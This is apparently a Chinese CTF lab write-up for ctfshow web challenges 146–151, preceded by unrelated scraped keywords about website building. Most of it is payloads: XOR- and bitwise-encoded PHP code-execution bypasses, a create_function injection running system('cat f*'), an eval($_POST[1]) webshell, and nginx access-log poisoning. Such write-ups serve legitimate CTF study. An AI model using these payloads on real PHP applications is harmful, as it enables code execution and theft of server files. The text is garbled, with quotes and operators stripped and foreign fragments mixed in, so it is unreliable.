网站开发中网页上传,自己做网站怎么加定位,网站建设drwhcm,如何创建网站内容1.web146 :被过滤了#xff0c;三元运算符用不了#xff0c;还可以用位运算符#xff0c;逻辑运算符,等#xff0c;逻辑运算符要注意或运算符的短路性 eval(return 1|phpinfo()|1) eval(return 1phpinfo()|1) payload#xff1a;
v11v20v3(~%8C%86%8C%8B%9A%92…1.web146 :被过滤了三元运算符用不了还可以用位运算符逻辑运算符,等逻辑运算符要注意或运算符的短路性 eval(return 1|phpinfo()|1) eval(return 1phpinfo()|1) payload
v11v20v3(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|
v11v20v3|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|2.web147 匹配不是以字母开头的字符串 create_funciton的用法需要在前面加一个字符绕过正则达到命令执行 %5c()可以绕过正则 php里默认命名空间是\所有原生函数和类都在这个命名空间中。 普通调用一个函数如果直接写函数名function_name()调用调用的时候其实相当于写了一个相对路 径 而如果写\function_name()这样调用函数则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类就必须写绝对路径这种写 法
create_function($a,echo $a.123)
类似于
function f($a) {echo $a.123;
}payload
GET ?show;};system(cat f*);//
POST ctf%5ccreate_function3.web148 异或符号和括号没被过滤可以用异或运算绕过,还可以用中文绕过其实还是异或运算 用羽师傅脚本生成payload payload:
1.
(%08%02%08%09%05%0d^%7b%7b%7b%7d%60%60)(%03%01%09%01%06%02^%60%60%7d%21%60%28);2.
code$哈{{{^?/;${$哈}[哼](${$哈}[嗯]);哼system嗯tac f*
其实也是利用异或构造
{{{^?/; 异或出来的结果是 _GET4.web149 预期条件竞争
ctf1.php
show?php system(tac /c*;)?burp 抓包发送到intruder 一个不断发送上面数据 位置不设 payload 设为null 另一个不断访问1.php 非预期
ctfindex.php
show?php eval($_POST[1]);?5.web150 strrpos查找最后出现的位置没有为flase 先算后面为true要想包含只能时isVIP为true extract导入当前符号表也就是变量覆盖 $_SERVER [‘QUERY_STRING’] 表示获取get和post 中的参数和值 isVIP和上面类中的函数没关系 payload
ua ?php eval($_POST[1])?get isVIPTRUE
post ctf/var/log/nginx/access.log1system(cat f*);6.web151 __autoload的函数在不在ctfshow类中 __autoload加载未定义的类即进行类函数判断时会调用这个函数 __autoload函数会执行这个变量class 需要先构造__CTFSHOW__但是_被过滤了.可以绕过构造了这个变量 …CTFSHOW…需要进行传值因为原先并没有而extract函数可以覆盖原先的变量,就变为了$CTFSHOWphpinfo,class变量就是__ctfshow__变量class的值为phpinfo最后就会执行phpinfo
flag在phpinfo中
__autoload — 尝试加载未定义的类 最后构造?..CTFSHOW…phpinfo就可以看到phpinfo信息啦 原因是…CTFSHOW…解析变量成__CTFSHOW__然后进行了变量覆盖因为CTFSHOW是类就会使用 __autoload()函数方法去加载因为等于phpinfo就会去加载phpinfo 接下来就去getshell啦 payload
get
..CTFSHOW..phpinfo参考文章